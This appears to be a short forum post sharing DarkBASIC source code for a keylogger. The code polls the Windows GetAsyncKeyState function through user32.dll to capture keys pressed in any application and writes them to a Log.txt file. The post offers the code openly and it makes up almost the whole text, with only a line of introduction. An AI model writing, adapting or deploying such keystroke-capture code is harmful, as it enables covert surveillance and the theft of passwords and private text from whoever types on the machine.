It isn't perfect but it saves keystorkes outside of program thanks to user32
sync off:root$=get dir$()+"":load dll "user32.dll",1
do
for cnt=32 To 128
state=call dll(1,"GetAsyncKeyState",cnt)
if state<>0 then GetPressedKey$ = chr$(Cnt)
next cnt
if GetPressedKey$<>"" then log$=log$+GetPressedKey$
inc tim,1
if tim>100 then write_log(root$+"Log.txt",log$):tim=0:GetPressedKey$=""
loop
function write_log(file$,log$)
if file exist(file$) then delete file file$
open to write 1,file$:write string 1,log$:close file 1
endfunction